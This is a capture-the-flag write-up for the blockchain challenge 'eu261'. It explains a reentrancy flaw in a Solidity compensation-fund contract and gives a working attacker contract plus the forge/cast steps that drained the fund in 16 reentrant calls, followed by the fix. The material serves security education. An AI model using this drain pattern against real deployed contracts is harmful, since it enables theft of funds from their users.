eu261
A textbook checks-effects-interactions violation, reentered 16 times to drain a compensation fund to exactly zero.
NNS{eU261_PaYs_out_oNCe_UN13ss_Y0U_45k_7W1c3} Challenge: eu261 (Blockchain, NNS CTF 2026) Author: hoover Points: 158 (dynamic, decreased as more solves came in) Flag: NNS{eU261_PaYs_out_oNCe_UN13ss_Y0U_45k_7W1c3}
Overview
The challenge deploys two contracts:
BoardingPass.sol: a minimal non-transferable-by-default NFT-like registry mapping apassIdto an owner and a flight name.eu261.sol(CompensationFund): lets the airline (operator) open a compensation “fund” for a given flight, and lets any boarding-pass holder for that flightcollect()their compensation share once.
The deployment script issues the player a boarding pass for flight
SK4045 and opens a fund with a balance of 40 ether, where each
passenger’s compensation share is 2.5 ether. The goal is to drain the
CompensationFund contract down to a balance of 0 (isSolved() checks
address(this).balance == 0).
Vulnerability
CompensationFund.collect():
function collect(uint256 fundId, uint256 passId) external {
Fund storage fund = funds[fundId];
require(boardingPass.ownerOf(passId) == msg.sender, "not your boarding pass");
require(keccak256(bytes(boardingPass.flightOf(passId))) == keccak256(bytes(fund.flight)), "boarding pass is for another flight");
require(!redeemed[fundId][passId], "already collected");
require(fund.balance >= fund.compensation, "fund is empty");
(bool ok,) = msg.sender.call{value: fund.compensation}(""); // <-- external call FIRST
require(ok, "payout failed");
redeemed[fundId][passId] = true; // <-- state updated AFTER
fund.balance -= fund.compensation;
}
This is a textbook reentrancy bug (checks-effects-interactions
violated): the ETH payout happens via a raw .call before the
redeemed mapping and fund.balance bookkeeping are updated. If
msg.sender is a contract with a receive()/fallback that calls back
into collect() with the same fundId/passId, every nested call
still sees redeemed[fundId][passId] == false and the stale
(not-yet-decremented) fund.balance, so it passes all the checks and
receives another 2.5 ether payout. Forge’s built-in linter even flags
this directly:
warning[reentrancy-eth]: uncapped ETH transfer can be reentered
before `redeemed` is updated (src/eu261.sol:60)
Since fund.balance (an internal bookkeeping field) is unrelated to
address(this).balance (the real contract balance checked by
isSolved()), the recursive calls will keep succeeding and draining
real ETH from the contract as long as the low-level .call doesn’t
revert for insufficient funds. 40 ether / 2.5 ether per collect = 16
reentrant calls drains the contract to exactly 0.
Exploit
-
The player’s boarding pass (
passId = 0) must belong to the attacking contract, sincecollect()checksboardingPass.ownerOf(passId) == msg.sender. Boarding passes are transferable viaBoardingPass.transferFrom, so the player first transfers pass #0 to the attacker contract. -
Deploy a small attacker contract:
contract Attacker {
ICompensationFund public immutable fund;
uint256 public immutable fundId;
uint256 public immutable passId;
address public owner;
constructor(address _fund, uint256 _fundId, uint256 _passId) {
fund = ICompensationFund(_fund);
fundId = _fundId;
passId = _passId;
owner = msg.sender;
}
function attack() external {
fund.collect(fundId, passId);
(bool ok, ) = owner.call{value: address(this).balance}("");
require(ok, "sweep failed");
}
receive() external payable {
if (fund.reserve() >= 2.5 ether) {
fund.collect(fundId, passId);
}
}
}
receive() keeps reentering collect() as long as the contract
still holds at least one more compensation share, unwinding cleanly
once the balance drops below 2.5 ether.
-
Steps taken against the live instance:
cast wallet address --private-key $PKto get the player address.cast callto readboardingPass(),reserve(),fundCount(),fundOf(0)and confirm compensation = 2.5 ether, reserve = 40 ether.forge createto deployAttacker(fund, 0, 0).cast sendBoardingPass.transferFrom(player, attacker, 0)to move the pass to the attacker contract.cast send Attacker "attack()"— this single transaction recursively callscollect()16 times via reentrancy, draining the fund’s real ETH balance to 0 and sweeping it to the player.- Verified
CompensationFund.isSolved()returnstrue.
-
Retrieved the flag from the challenge’s netcat/TLS launcher (
ncat --ssl ... 1337, menu option “2 - get flag”).
Fix
Follow checks-effects-interactions: update redeemed[fundId][passId] = true and decrement fund.balance before making the external call,
or use a reentrancy guard.